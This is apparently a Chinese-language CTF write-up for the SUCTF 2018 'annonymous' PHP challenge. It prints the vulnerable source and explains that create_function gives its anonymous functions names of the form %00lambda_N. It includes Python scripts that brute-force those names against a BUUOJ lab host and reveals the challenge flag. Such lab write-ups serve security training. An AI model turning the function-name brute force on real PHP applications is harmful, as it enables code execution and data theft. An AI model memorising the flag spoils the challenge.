[SUCTF 2018]annonymous
思路
源码
<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);
那么可以考虑调用$MY或者SUCTF_$hash
哈希用的是openssl猜不出来的,$MY也不能直接调
解题
要用到一个知识点,create_function函数在创建函数时,会将函数命名为%00lambda_1,%00lambda_2…是第几个匿名函数就命名为几
测试:
<?php $a = create_function("","echo __FUNCTION__;"); echo $a; echo "\n"; echo urlencode($a);lambda_1 %00lambda_1
如果是还未打开过网站,直接/?func_name=%00lambda_1即可
<?php
//$flag="flag{65200b23-8578-46a9-9003-2d2dbb605ab9}";
如果打开过,可以遍历,也可以不停请求直到apache新开线程重置命名计数
遍历:
import requests
import time
url = "http://dcbaab87-abf7-4831-89a8-3c95c6b3f001.node5.buuoj.cn:81/?func_name=%00lambda_"
print('begin!')
for i in range(1000):
# print(f"now: {i} ", end="")
now_url = url + str(i)
time.sleep(0.2)
res = requests.get(url=now_url)
# print(f"status: {res.status_code} url: {now_url}")
res = res.text
if "flag" in res:
print(res)
break
不停请求
import requests
import time
for i in range(0,1000):
time.sleep(0.2)
r=requests.get(url=f"http://dcbaab87-abf7-4831-89a8-3c95c6b3f001.node5.buuoj.cn:81/?func_name=%00lambda_{str(i)}")
if 'flag' in r.text:
print(r.text)
但是经我测试,遍历和不停请求的方法没有用,不知为何
另外,经过测试并不是每次访问都会使得计数增加。我猜测是缓存机制相关,相同的访问直接命中了缓存,导致不是每次都会执行php代码。这导致可能连续访问/?func_name=%00lambda_1两三次之后才会失效,要访问/?func_name=%00lambda_2
有时候访问/?func_name=%00lambda_5没有反应,访问/?func_name=%00lambda_6没有反应,然后连续访问了几次/?func_name=%00lambda_5之后,在访问/?func_name=%00lambda_6又能执行函数了,怪得很。
这题我是新开的环境才解决的,如果在类似AWD的竞赛环境中,不能随意重置环境,不知道要怎么拿到flag了,如果有人有想法请在下面留言,谢谢
注意
create_function给匿名函数的命名